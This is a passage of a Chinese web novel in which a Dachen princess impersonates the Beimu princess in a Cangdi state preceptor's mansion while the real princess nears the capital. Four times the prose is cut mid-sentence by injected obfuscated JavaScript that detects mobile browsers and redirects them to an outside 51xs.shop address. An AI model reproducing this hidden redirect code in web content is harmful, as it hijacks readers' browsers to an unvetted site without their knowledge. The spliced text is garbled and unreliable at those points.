宁玉瑶应声,转身回了寝房。她的背脊挺直,一举一动尽显仪态万千,即便身处困境,那份高贵也丝毫未减。 院外,涓姑姑看着宁玉瑶未动过的菜肴和茶水,摇了摇头笑道:“这位殿下还真是半点苦头都不吃。” 茶水都是用的上好的茶叶,只是并非今年的新茶,即便如此,王女竟碰也不碰,足见其挑剔。 “罢了。”涓姑姑挥了挥手,让人将东西撤下去,“以后不必再如此试探,免得被人觉得国师府专用残次货待客,国师府可不能落得如此名声。” 回到寝房的宁玉瑶与秦熠相对无言,只有秦熠偶尔低声说几句北穆语。 等了许久,门外盯梢的人终于离开,秦熠这才轻声说道:“听方才秋叶的意思,国师似乎早就知道王女要来苍荻。” “应该就是这几天了,我们必须加快行动。”宁玉瑶皱眉,小声提醒道,“熠哥哥千万要小心。” 整整一天,宁玉瑶都未踏出房门。不过,早膳过后国师府的人没有再继续试探,茶水也换上了当季新茶。 既已进入国师府,接下来的事情就不是宁玉瑶能够决定的了,她只能安心养精蓄锐,静候秦熠行动。 秦熠每晚趁着盯梢人换岗的间隙,悄悄溜出房间,在国师府内探寻。 他小心翼翼地隐匿着身形,穿梭在国师府的暗影中。然而国师府绝非朱占行那种草包的府邸可以相比,这里守卫极其森严,巡逻的侍卫往来不断,各个角落似乎都隐藏着警惕的目光。 莫说国师的书房,秦熠连国师府前院都进不去。若不是他耳聪目明,反应迅速,恐怕早就被人擒获了。 一连三日,秦熠皆是无功而返。 对此他们早有预料,倒也没有特别失望。宁玉瑶神色淡然:“过几日国师便会归来,到时我们再稍加试探便是。倘若实在无法拿到祁晖珉的证据,也不必强求。” 秦熠点头,此番他们拿到了方廷峪通敌卖国的证据,还顺手解决了朱旦英,已经收获颇丰。混进国师府也只是因为他们有十足的把握能够全身而退,这才想来试上一试。有收获自然更好,实在不行也无需勉强。 只是国师还要几日才能归来,没想到他们没等来国师,先等来了苍荻的外使官。 早在宁玉瑶决定冒用北穆王女这个身份时,她就知道会有与苍荻官员打交道的这一天,不然,她也不会大费周章地把自己和秦熠的脸弄上伤疤。 好在女大十八变,如今的宁玉瑶与两年前相比,容貌已长开了许多。而秦熠则蓄起满脸胡须,加上覆盖了大半张脸的伤疤,不是特别熟悉的人已经认不出他是大宸的秦小将军。 走进前院偏厅,有两名中年男子在厅内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725811|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等候。他们身着苍荻官员服饰,见到宁玉瑶,立即上前行礼:“王女殿下安好。” 宁玉瑶轻纱覆面,右手握拳置于胸口,微微弯腰回礼。 待众人落座,中年男人介绍道:“殿下,我是苍荻的外使官,敝姓黄,这位是外使副官,邹副官。” 黄外使所用是北穆语,宁玉瑶没有听懂他在说什么,不过秦熠没有提醒,她就只是对着二人颔首。 宁玉瑶身侧的秦熠暗忖,这二人的声音十分耳熟,似乎是当初在王城时听到的与文攸礼交谈的那两个人,这两人可对北穆没什么好感。幸好他们不是真的要和苍荻合作,否则这二人还真有可能会坏事。 邹副官眼中带着些许怀疑,看着宁玉瑶问道:“北穆并无男女大防,不知王女为何将要遮住面部。” 秦熠手指微不可觉地一动。 宁玉瑶垂眸,哀戚地掀起面纱一角,泪眼婆娑地说:“去年那场大火……” 二位外使官看见宁玉瑶面纱下触目惊心的疤痕,连忙起身道歉。 宁玉瑶不再言语,只是放下面纱,默默抹着眼泪,偏厅内的气氛一时之间有些尴尬。 黄外使轻咳一声,硬着头皮向王女转达苍荻王对王女殿下的问候。 这两位外使官与朱占行那种草包全然不同,宁玉瑶和秦熠不敢疏忽,秦熠就连暗示都极为小心,好在他们二人默契十足,往往无需秦熠有太大动作,宁玉瑶便能领会他的意思。 再者,王女身份尊贵,对于外使官的话只需轻声应和即可,无需多言。实在不知该如何回话时,宁玉瑶便低头哭泣。哭声悲切,令人心生怜悯,把两位外使官弄得焦头烂额。 黄外使与邹副官无奈地对视一眼,他们着实对这位王女束手无策,只得赶紧说出今日来访的最后一个目的:“殿下,吾王为殿下安排了一处安静舒适之所,各类生活用具皆已备齐,不知殿下是否愿意搬过去?” 宁玉瑶收到秦熠的暗示,哽咽着说道:“母后送我离开时一再叮嘱,让我只能留在国师府。” 这句北穆语很长,宁玉瑶说得磕磕绊绊。由于她一直在抽噎,外使官也并未起疑,只当这位王女伤心过度,以至于话都说不顺畅。 但他们被宁玉瑶的哭得烦恼不已,连忙起身向宁玉瑶告辞:“如此,便请王女殿下保重身体,吾等先行告退。” 宁玉瑶用手帕掩面,轻声说道:“大人慢走。” 两位外使官如获大赦,逃一般快速离开。一年未见,这王女比以往更能哭了。可千万不能传出去,是他们惹哭了王女,那可真是有口难辩了。 偏厅内侍从众多,秦熠单膝跪在宁玉瑶面前,轻声说了几句话。宁玉瑶点头回应,秦熠便背着她回后院。 这是他们事先约定好的,不管秦熠用北穆语说什么,宁玉瑶只需点头应和即可。 秋叶和冬雪跟在他们身后,悄悄对视一眼,这王女实在太能哭了。 94.奢靡 快到后院时,宁玉瑶的情绪总算逐渐平复,哭声也渐渐止住。 跟在身后的秋叶和冬雪不约而同地轻舒了一口气。 秦熠停下脚步,宁玉瑶从他背上下来,她摘掉脸上早已哭湿了的轻纱。秋叶连忙上前,替她擦去脸上的泪水。 “方才想起母后,一时情难自禁,见笑了。”宁玉瑶神色黯然。 秋叶和冬雪忙道不敢。 宁玉瑶微微浅笑,不再说话,跟着秋叶返回暂居的小院。 行至半途,迎面走来一群衣衫褴褛的少女,她们被一名神色严肃的嬷嬷领着,往另一个方向走去。 宁玉瑶心生好奇,不由得多看了两眼。 秋叶见状,笑着轻声道:“殿下,这些是新入选国师府的侍女们。” “都是买的奴隶吗?”宁玉瑶问。 秋叶摇了摇头,国师府侍女的来历也不是什么秘密,她解释道:“殿下,国师府每年都会遣人前往偏远的城镇,挑选一批穷苦人家的女儿进来当侍女,给我们这些人一个活下来的机会。” “你们?”宁玉瑶愈发诧异,“国师府的侍女都是这么来的吗?” 秋叶郑重点头,“是的殿下,国师府内所有侍女以及嬷嬷们皆出身穷苦人家。我们曾经都穷得快活不下去了,幸得国师府挑中,才得以存活。” 宁玉瑶若有所思,接着问道:“那你们可以离开国师府吗?” “自然可以的,殿下。国师并未让我们签卖身契,只要我们想离开,随时可以走。”冬雪在一旁接过话茬,“不过进了国师府,谁愿意轻易离开呢。您看那些嬷嬷们,都是因为不愿意离开国师府,宁愿自梳也要留下来继续侍奉国师。” 宁玉瑶再次望向那些刚进府,瘦骨嶙峋的姑娘们,感慨道:“国师可真是心善。” 秋叶与冬雪脸上满是崇敬之色,与有荣焉地点头:“那是自然,国师是世上最好的人,若没有国师,我们早就活不下去了。” “可我从北穆这一路走来,见过不少穷困的女子,她们都会进国师府吗?”宁玉瑶面露疑惑,“国师府好像并没有那么多人。” 秋叶耐心地解释道:“殿下,并不是所有人都能进入国师府。国师府到底只有这么大的地方,人太多国师也无法照拂。而且即便是穷苦人家的女孩,想要进国师府也需经过重重筛查。品行不端之人是绝对不被允许进入的。” 听到这里,宁玉瑶兴致更浓,“既然来国师府如此困难,一旦选上便能过上好日子,那会不会有人冒名顶替?” 秋叶轻轻一笑,“殿下有所不知,国师府在选人时,会对每一个人严格记录在案。体貌特征、生活习惯都会详细记载,还会附带一张小像。这可不是能轻易顶替得了的。并且一旦被查出冒名顶替,那可是欺瞒国师的重罪,要被捆在司殿的神女像前受扒皮之刑。” 宁玉瑶脸色一白,似乎被“扒皮”二字吓到了。她微微张着嘴,半晌才吐出几个字,“居然如此严重。” “这可不算什么,胆敢欺瞒国师,就要做好被神女厌弃的准备。”冬雪昂起头,语气中满是对国师和神女的崇敬。 “那便好,国师如此德高望重,自然不能轻易被宵小之辈哄骗。”宁玉瑶眨眨眼,转而问道,“不知明日可否有幸拜访国师。” 他们刚好走到院门口。秋叶推开院门,径直去了院子一侧的小灶房,为宁玉瑶准备热水。 冬雪跟随宁玉瑶走进寝房,替宁玉瑶拆下头上的发髻金钗,应道:“国师前些时日下令让奴婢们好好伺候您,今日便是祈福的最后一天,待祈福结束,国师便会回府与您会面。” 宁玉瑶眼中满是期待,“那可真是再好不过了。” 秋叶端着一盆热水进来,为宁玉瑶净面,看着宁玉瑶脸上掩饰不住的疲惫,轻声道:“殿下今日累了,好好休息一会儿吧。” 宁玉瑶点头,能不累吗?应付那两个外使官就耗神费力,还哭了这么久。别说旁边的人听着头疼,宁玉瑶自己也有些难受。 丫鬟们伺候宁玉瑶换上寝衣后便退了出去,留下秦熠坐在床榻边守着宁玉瑶。 宁玉瑶还想说什么,秦熠握着她的手,轻拍她的背,在她耳边轻声说:“先睡一觉,不着急,等起来再说。” 疲惫至极的宁玉瑶点点头,瞬间昏睡过去。 与此同时,距国都数百里外的山林中,两名妙龄少女正躲在一个昏暗的山洞里。 “扎木雅,我们还要多久才能到苍荻的国都?”一名娇弱少女眼角含泪,紧紧拉着身边少女的手。 少女身着朴素衣裳,也依然难掩天生丽质。她的发丝略显凌乱,脸色苍白,眼中满是疲惫。 被她抓着的扎木雅眼神凌厉地瞪了她一眼,少女赶忙收起眼中泪水。看到少女可怜兮兮的模样,扎木雅无奈地叹了口气,语气也缓和下来:“殿下,后日我们便能抵达苍荻国都了。到那时,找到苍荻王和国师,您就不必这般辛苦了。” 这名娇弱少女便是真正的北穆王女娜塔。北穆王后自知自己时日无多,为保护女儿,立即派人将她送出王城。 她一路向南逃至苍荻,此时身边仅剩下一名侍女扎木雅。好在扎木雅是扎木哲将军的孙女,武艺不凡,这才带着娇贵的王女顺利抵达此处。 娜塔揉着自己生疼的小腿,哭丧着脸说:“还要两天呀,扎木雅,我真的好累,我们为什么不留在北穆?” 扎木雅忍不住翻了个白眼。王女什么都好,就是被王后养得太过娇弱,性子也天真得可怕。她是王后和王上唯一的女儿,自小没吃过苦头。加上王后性格强势,王女这般说好听点是十分听话,实则性格懦弱毫无主见。 “可是留在北穆,您就要嫁给紎狼族的族长。”扎木雅耐心解释道。 王后的母族域鹰族与紎狼族争斗失败,王后被紎狼族暗杀,域鹰族近乎被赶尽杀绝。丞相文攸礼带着部分忠于王上的部族偏安一隅,养精蓄锐。 紎狼族要登上王位,便想迎娶王上唯一的女儿。 娜塔依旧不解,问道:“族长说我若嫁给他,待他登上王位,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729628|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是王后,这样不好吗?” “可是族长都快六十了!您才十七岁!”扎木雅真想使劲摇摇她家殿下的脑袋,看看里面是不是进水把脑子泡坏了。 “啊……”娜塔依旧一脸懵懂,但看到扎木雅面目狰狞,便强忍着泪水,小声说道:“女人不总是要嫁人的吗?嫁给谁有什么区别呢?” 扎木雅语塞,看着自家殿下单纯的小脸,跟一个不通世事的小姑娘说这些有什么用。 王后临死前拼尽全力,用剩余的所有力量将唯一的女儿送出北穆。然而,王后把王女保护得太好了,女儿被她养得太过天真,完全不懂母亲的苦心。也不知王后在九泉之下会不会后悔。 “但是王后拼死也不愿意让你嫁给紎狼族,您难道要嫁给自己的杀母仇人吗?”扎木雅只得用这种方法劝说王女。 好在王女虽然天真,但还算有孝心,闻言立即坚定地说:“当然不能,娜塔一定听母后的话!” 扎木雅松了口气,又问道:“殿下,您可还记得见到苍荻王和国师要说什么?” “母后说,请苍荻出兵,让大宸交还父王,只要救出父王,北穆可以将西南诸城割让给……” “殿下!”扎木雅连忙喝住娜塔,娜塔被她突如其来的大声呵斥吓得打了个哆嗦,眼中泪水又开始凝聚。 扎木雅赶紧柔声哄道:“殿下,谈判不是这么谈的,不能一下子就把底牌透露出来。” “可是……可是我不会……”娜塔的眼泪大颗大颗地往下掉,“呜呜呜……母后,娜塔什么都不会……” “没事的,殿下,还有时间。”扎木雅头疼不已,“您听我说,这几天我慢慢教您,您好好背下来就行。” 娜塔擦擦眼泪,乖乖点头听扎木雅说话。她揉了揉自己有些饿的肚子,看着扎木雅凶巴巴的脸,不敢吭声。 真王女在山洞中忍饥挨饿时,假王女宁玉瑶已经从柔软的雕花大床上醒来,精神饱满地准备享用晚膳。 小院的膳房内灯火通明,涓姑姑亲自领着一群侍女们鱼贯而入,将一道道精美的菜肴摆放在餐桌上。 “殿下,这是今日送来的鲜鱼,此鱼鲜美异常,且极难捕捞。您尝尝合不合您的胃口。”涓姑姑笑意满面地介绍道。 宁玉瑶看着眼前熟悉的脸庞,垂下眼帘,掩住眼中复杂的神色,拿起筷子,夹起一块腮边肉。鱼肉入口,鲜嫩多汁的口感让她的眼睛一亮,“确实不错。” 涓姑姑笑道:“那您多用些。” 宁玉瑶举箸迟疑,“这……还有哪个部位可以吃吗?” 涓姑姑语塞,感情您吃鱼只吃腮边那一小块肉?这种鱼平日里连国师都难得享用,如今却被这般糟践。 罢了,北穆王唯一的子嗣,日日只穿金不戴银,奢靡惯了也无可厚非。 即便如此,她脑中蓦地闪过自己在这般年纪连鱼骨头都轮不上的不堪过往。涓姑姑深吸一口气,将那些不愉快的回忆压下去,带着侍女把只动了一筷子的鱼撤了下去,不愿再看这个败家子糟蹋好东西。 95.灵堂 身为侍卫的秦熠没有资格享用王女殿下的残羹冷炙,只能与国师府的侍从们一同在膳堂用膳。 秦熠踏入小院时,恰好与面色不虞的涓姑姑擦肩而过。他挑眉看向宁玉瑶,宁玉瑶则回以一个无辜的笑容。 等宁玉瑶用完膳,屋里的侍从们训练有素地退下后,秦熠问她:“怎么回事?” 宁玉瑶笑眯眯地回道:“没什么,王女吃鱼只吃腮边肉,太过奢靡罢了。” 秦熠闻言,故作惊讶地瞪大了眼睛,“那不然呢?其他地方也可以吃吗?” 两人四目相对,同时笑出声来。 他们二人在这国师府中单独相处的时间并不多,时间紧迫。宁玉瑶想起了涓姨的事,说道:“熠哥哥,你说,会不会是当初涓姨被选上了国师府侍女,而这个女人没选上,所以心生嫉妒,将涓姨扔到河中顶替了她。” 小丽在与宁玉瑶闲聊时,曾说起涓姨提起过自己的家人。关于家人的事情,涓姨絮絮叨叨地跟小丽说了许多,唯有一个叫孟青悦的妹妹,说的次数最少,而且每次提起时脸色都不太好看。 秦熠点头,思索片刻后说道:“或许这个女人就是涓姨不愿意提起的妹妹,不过此事别轻易试探,小心她……” 话未说完,他忽然单膝跪在地上,宁玉瑶便知有人来了,立即换上一副黯然伤神的模样斜倚在软塌上。 没过多久,秋月走了进来,恭敬地说道:“王女殿下,汤池已经备好了,您现在可要沐浴。” 宁玉瑶颔首,起身施施然往浴房走去。这种有人伺候沐浴的日子实在太美好了。等离开国师府,估计又要在外面舟车劳顿好一阵子才能回到大宸,得抓紧时间好好享受才是。 秦熠依旧坐在浴房门口守着。他百无聊赖地看着天空,一群飞鸟从空中飞过。忽然,他目光一凝,一只腿上绑着竹筒的白鸽径直飞向国师府,最后降落在前院中。 前几日探寻国师府时,他隐约听到鸟雀鸣叫和鸽子的“咕咕”声,当时以为国师可能只是喜爱鸟雀,现在看来,或许国师府养了一群信鸽替他传递消息。 秦熠摸了摸自己下巴上凌乱的大胡子,啧了一声,还真是大手笔,养一只信鸽就需要耗费不少人力物力,国师居然养了那么多,被他爹知道了不得馋死。 不过,不说他爹馋不馋,反正他挺馋的。这种信鸽都需要用上好的谷物精心饲养,而且经过长时间飞行,肉质紧实,烤着吃肯定非常美味。他砸吧砸吧嘴,找个机会打两只尝尝。 翌日清晨,一声沉闷的钟鸣声将宁玉瑶从睡梦中唤醒。 秦熠迅速翻身坐到脚塌上,凝神倾听片刻后,说道:“似乎是丧钟的声音。” 宁玉瑶微微蹙眉,与秦熠对视一眼,莫非…… 这时,秋叶在外面轻轻叩门,“殿下起了吗?” 宁玉瑶扬声道:“进来吧。” 秋叶推开门,进来后福了福身,说道:“王女殿下,国师差人送来消息,国师今日不能回府了,还需您多等候几日。” 宁玉瑶撑起身子,脸上露出愁容,问:“请问国师突然有何事?” “是我们苍荻的朱老将军骤然殒没,国师需要去为大将军送行。” “朱老将军?”宁玉瑶惊讶地坐起身,“是朱旦英老将军吗?” 秋叶点头应是。 宁玉瑶心中暗道,果然是他。要知道能响彻整个国都的丧钟可不是随便什么人都有资格敲响的,目前国都内已死之人也只有朱旦英有这个地位。 “朱老将军的威名我曾在北穆也听说过,与我们北穆的扎木哲将军一样都是国之栋梁,可惜……”宁玉瑶的思绪仿佛飘远,不知想起什么伤心事,又掩面默默流泪,“真是天妒英才。” 秋叶也神色黯淡,眼中闪烁着泪光,“朱老将军为苍狄立下了汗马功劳,此番骤然离世,王上和国师极为重视,还请殿下见谅。” “应当的。”宁玉瑶起身,庄重地向丧钟声响起的方向行了一个北穆祭拜亡魂的礼,“朱老将军一生忠勇,屡立战功,威名远扬。此乃贵邦之重大损失,吾亦深感痛惜。愿贵邦节哀顺变,以慰将军在天之灵。” 秋叶感动不已,连忙过来扶起宁玉瑶,伺候她穿戴好后道:“殿下稍等,奴婢去准备早膳。” 等秋叶离开,秦熠点了点宁玉瑶的额头,“黄鼠狼给鸡拜年,没安好心。” 宁玉瑶昂着头,满脸不屑道:“什么国之栋梁,都不如大宸的秦小将军。” 秦熠看着宁玉瑶那副骄傲的小模样,心痒难耐,一把将人捞起来,使劲亲了两口。但他又不敢留下痕迹,只能在她柔嫩的脖颈上蹭了蹭。不过他的胡须太过粗糙,还是扎出了一片红痕。 他讪笑着,心虚地将人放回原位,宁玉瑶捂着脖子,气得狠狠踹了他两脚。好在秦熠也没发疯用太大力气,没过多久她脖子上的痕迹就消失得无影无踪。 两人不敢继续胡闹。宁玉瑶托腮望着窗外湛蓝的天空,笑意盈盈地说:“不知道引狼入室的朱占行,这个大孝子现在是何心情?” 身穿孝服的朱占行,面容憔悴,神情恍惚地站在灵堂中。 这几日,接二连三的打击让他缓不过劲来。他怎么也想不明白,明明一切都好好的。前些日子,父亲的身体日益好转,甚至能够下地行走。 望月节的时候,父亲还意气风发地说等他彻底康复,就向王上请求带兵攻打大宸。 可谁能想到,一夕之间,朱府就遭逢大变。 那场大火熊熊燃烧,吞噬了一切,曾经辉煌繁华的府邸,如今只剩下断壁残垣。而父亲也未能在这场灾难中挺过来,如今他们现在一大家子都只能挤在朱夫人的别院中。 朱占行仿佛被这沉重的打击彻底压垮,整个人茫然无措,不知该如何应对。 不管前来吊唁的人如何忙碌,朱占行都毫无反应。身旁交好的同僚试图安慰他,他也只是呆滞地望着父亲的牌位,没有一丝回应。 灵堂外,几个人影在角落里窃窃私语。 “真可惜,原本说朱老将军再过几个月便能痊愈。谁知道望月节朱府竟然突发大火,朱府被烧得一干二净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733921|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自那以后,朱老将军的身体便每况愈下。” “唉,历经多代积攒下来的家业,就这么没了。朱老将军一生戎马,为朱家也挣下了不少财富,如今却一下子全毁了,他怒急攻心也是在所难免。” “不止哟,”一个声音压低了几分,神神秘秘地说道,“家业没了倒还能再挣,最关键的是替朱老将军治疗喘疾的大夫没能逃出来。听说被烧得面目全非,都看不出人型了。” “这么惨,那朱老将军这病是没办法了?” “可不是……朱老将军的病连医官都束手无策,只有那个大夫能够医治。听说要是那个大夫还活着,说不定朱老将军还有一线生机。可惜啊!” 这些声音传进朱占行耳朵里,他干涩的眼睛轻轻眨了眨,心中涌起无尽的悔恨。是啊,倘若丁玉能逃出来,说不定父亲还有救。 他后悔啊,后悔为什么要把丁玉安排在那么偏僻的地方。 他不太灵光的脑子突然一震,不,这不是他安排的,都是夫人的错,是夫人嫌丁玉穷酸碍眼,是夫人害死了父亲。 朱占行猛地抬起头,双眼通红地怒视朱夫人,手指直直地指着她,吼道:“都是你!” 朱夫人满心烦躁,这些日子,她日日听朱占行抱怨,怪她把丁玉安置在那么偏僻的院子,导致丁玉被烧成黑灰,让父亲无人医治。 但这与她何干?火不是她放的!人也不是她杀的!丁玉命不好逃不出来能怪谁? 父亲的殒没确实对朱府是个很大的打击,可若是朱占行自己能立起来,又何必事事都仰仗父亲的余威?如今朱家这一大家子都靠着朱夫人的嫁妆庄子养着,还要日日听着朱占行的怨恨,她早已厌烦不已。 她狠狠地瞪着朱占行,一把拍开他指着她鼻子的手指,怒喝道:“你要不要脸?是你自己被一个小丫头拿捏,找我来教训她,现在又成了我的错?你那么能耐,怎么不自己来?” “你……你!”朱占行被她说得下不来台,手指颤抖得更加厉害,脸涨得通红。愤怒瞬间冲昏了他的头脑,他怒吼一声,冲上前就要打朱夫人。 朱夫人见状,急忙转身跑开。二人的儿子连忙上来拉住朱占行,焦急地喊道:“爹,你冷静点!” “逆子!”朱占行本就被朱夫人训斥得面上无光,他的儿子居然还敢过来阻拦,让他更觉得自己威严扫地。 他怒目圆睁,盛怒之下,一把推开儿子。儿子本就毫无防备,被这猛力一推,身体踉跄着向后倒去。 只听“砰”的一声,他的头重重地磕在了棺木上,发出一声令人心惊的闷响。 朱夫人看见儿子头上流出来的鲜血,顿时尖叫出声,疯狂地扑到朱占行身前,将他推倒在地,骑在他身上,用指甲拼命地抓他。她的指甲在朱占行的脸上留下一道道血痕,把他的脸抓得皮开肉绽。 众人惊慌失措,连忙上前,朱占行的亲兵们试图拉开朱夫人,朱夫人的侍女们则赶紧去查看朱夫人长子的伤势。 哭喊声和劝架声混杂在一起,原本肃穆的灵堂顿时一片混乱。 96.真假 “国师到!” 灵堂外报丧司仪高亢的声音响起,然而灵堂内一片喧闹,没有人听到这一声高喊。 国师手握一支六尺长杖踏入灵堂,便看见里面的闹剧。 手杖顶端镶嵌着一颗硕大的夜明珠,杖身通体洁白,用金丝缠绕,精致华贵,这便是象征国师身份的祁月杖。 国师眉头微皱,抬起祁月杖在地上用力一敲,地面顿时发出沉闷的响声,灵堂内顿时一静,所有人都停下了动作,惊恐地望向国师。 “来人!把他们拉开!”国师面色冰冷地下令。 此时,无需国师再次吩咐,朱夫人连忙从朱占行身上爬下来,她的女儿赶紧扶住自己的母亲,轻声安慰着。 而那些儿女们,没有一个靠近朱占行,只能由朱占行的亲兵扶他起来。 国师垂眸看向满脸是血的朱占行,沉声道:“朱老将军尸骨未寒,你们就在他灵堂内大吵大闹,成何体统!” 朱占行面目狰狞,“若不是这毒妇,我爹也不会死!” “放屁,你个窝囊废,自己干的蠢事,还想栽赃到老娘头上?你想得美!”朱夫人半点不怵他,她早就受够这个窝囊废了,在朱家憋了这么多年的怨气,不如一次骂个痛快: “你自己没本事,还怪别人。朱老将军在世的时候,你就只会缩在后面,一点儿担当都没有。如今朱老将军走了,你竟然把责任全都推到我身上。” “够了,”国师再次敲击祁月杖,“死者为大,想闹等朱老将军入土为安,随你们闹个够。” “国师有令,臣妇不敢不从,朱老将军为苍荻戎马一生,臣妇亦十分敬佩。”朱夫人恭敬道,随后话锋一转,“不过等朱老将军安葬后,臣妇便要和这个蠢货和离,他们朱家人统统滚出我的庄子!” 国师无意插手他们朱家的家事,如今朱旦英已死,朱占行这个草包已经没有利用价值,更没有管的必要。 朱夫人的母家袁家此刻也在灵堂中。袁父是监察大夫,官位与朱老将军不相上下。 如今朱老将军身死,朱府被大火烧成灰烬,朱占行自己又担不起事,朱家老小还得靠朱夫人的嫁妆养活。袁家俱心生不悦,故此刻无一人反对,默许了此事。 “你!你们!”朱占行愕然地看着眼前这一幕,他实在想不明白,明明是这个毒妇做下的孽,为何所有人都觉得是他的错。 国师不理会朱占行的想法,抬了抬手,立刻有几个强壮的侍卫上前按住朱占行。国师神色肃穆,拄着祁月杖走到朱老将军的棺木前。 并非所有人都能在死后享有国师亲自诵念安魂经的殊荣。只有历代君王以及为苍荻立下赫赫战功的文臣武将,国师才会手持象征至高身份的祁月杖亲自前来。 这本应是朱家莫大的荣耀,却在一场混乱的闹剧中拉开帷幕。 随着国师低沉庄重的诵念声响起,按住朱占行的侍卫紧紧按着他的头,迫使他一步步向朱旦英磕头。 待安魂经诵念完毕,国师才示意侍卫松开朱占行。他眼神冷漠,自始至终再未看朱占行一眼,只是吩咐人带上玖跃,转身离去。 朱占行茫然地站在原地,双眼空洞地看着父亲的棺木。 灵堂内的人也渐渐散去,所有人都知道,朱府,彻底倒了。 回到国师府,管事们已在门口整齐地排列在两侧,恭迎国师回府。 国师示意侍卫将玖跃带去后院安置,随后看向涓姑姑:“王女现在如何?” 涓姑姑跟在国师身后,恭敬回道:“启禀国师,婢子试探过数次,均未发现异常。” “嗯,”国师点头,沉思片刻后道,“告知王女,明日巳时,吾邀王女一叙。” “遵命。” 今日朱家灵堂上发生的事,秦熠很快便在膳堂中侍卫们的闲聊中偷听到了。 那些侍卫们七嘴八舌地谈论着灵堂上的闹剧,言语中满是戏谑。 待侍卫们陆续散去,秦熠才离开膳堂。这等乐事自然要告诉玉瑶,让她也好好开心开心。 “真是太可惜了,这么热闹的场面不能亲眼看见。”宁玉瑶听后果然笑得前仰后合,笑了片刻,她忽然想起一事,“对了,熠哥哥,玖跃也带回来了,可方家传家玉佩不见了,国师没起疑吗?” 秦熠倒是不担心这个问题,“无碍,那么大的火,人能活着出来就已属不易。那种混乱的情况下,磕着碰着也不知道,哪还顾得上一块玉佩。” “也是。”宁玉瑶点了点头,便将此事丢开,她伸手摸了摸自己的脸,小声道,“不知道什么时候能见到国师,我们身上的疤痕顶多再能保留两三日就会失效,而且真王女应该也快到了。” 秦熠听了这话,也不禁发愁起来。万一真那么倒霉刚好撞上真王女,只怕会徒生事端。 但此刻他们骑虎难下,他只能心怀侥幸道:“应该快了,国师已经回府,应该不会再继续拖延。” 正说着,秦熠忽然抬手示意噤声。 过了片刻,门外传来一阵轻微的敲门声。 宁玉瑶和秦熠对视一眼,秦熠起身前去打开门。 “见过殿下。”涓姑姑笑容满面地走进来,向宁玉瑶请安道,“国师吩咐婢子前来,邀您明日巳时一叙。” 宁玉瑶一听,面露惊喜,“那可是真太好。” 她的声音微微颤抖,喜悦之情溢于言表,或许是因为太过高兴,她竟喜极而泣,轻声啜泣起来。 涓姑姑被宁玉瑶哭了四五日,现在看见宁玉瑶哭就头疼不已。她连忙告辞:“殿下您好生歇着,明日婢子再来带您去见国师。” 宁玉瑶抽噎着点头,看着涓姑姑仓皇离去的背影冷笑,“就这点耐心,比涓姨差远了,难怪当初选不上国师府的侍女,只能用下三滥的法子顶替。” “罢了,不管她,当初究竟是何原因我们也不清楚,横竖明日我们见过国师,不管有没有收获都要离开,随她去吧。” 宁玉瑶应声,轻抚手上的金镯。里面装着江老给她的药,不管成败,皆在此一举了。 在宁玉瑶和秦熠为明日面见国师做准备时,娜塔和扎木雅也终于抵达国都城门前。 扎木雅搀扶着站立不稳的娜塔,尽管她很想立即去见苍荻王,但看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737552|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着面色苍白的王女殿下,她轻叹一声,以殿下目前的状态,若是不让殿下休息好,恐怕见到苍荻王还说不上几句话就会被吓晕过去。 无奈之下,她只得半抱半扶着娜塔,寻了一个干净的客栈。 安置好娜塔后,札木雅独自去寻找苍荻王宫所在的方位。 她的苍荻语极为生涩,一路磕磕绊绊,好不容易才找到苍荻王宫的大门。 札木雅站在王宫门前,静静地观察着。明日要求见苍荻王,她们绝不能穿一身破烂过来,否则只怕还没靠近王宫就会被侍卫打出去。 她转身离开,在街道上找到了一家当铺,当掉了自己的金耳环,又买了两身得体的衣裳,才匆匆返回客栈。 刚回到客栈,札木雅就看见王女殿下泪眼汪汪地望着门口。 “殿下怎么不睡会儿。”扎木雅放下手中的衣裳,轻柔地将娜塔清洗过后已经干了的头发挽起。 娜塔小声道:“你不在,我害怕。” 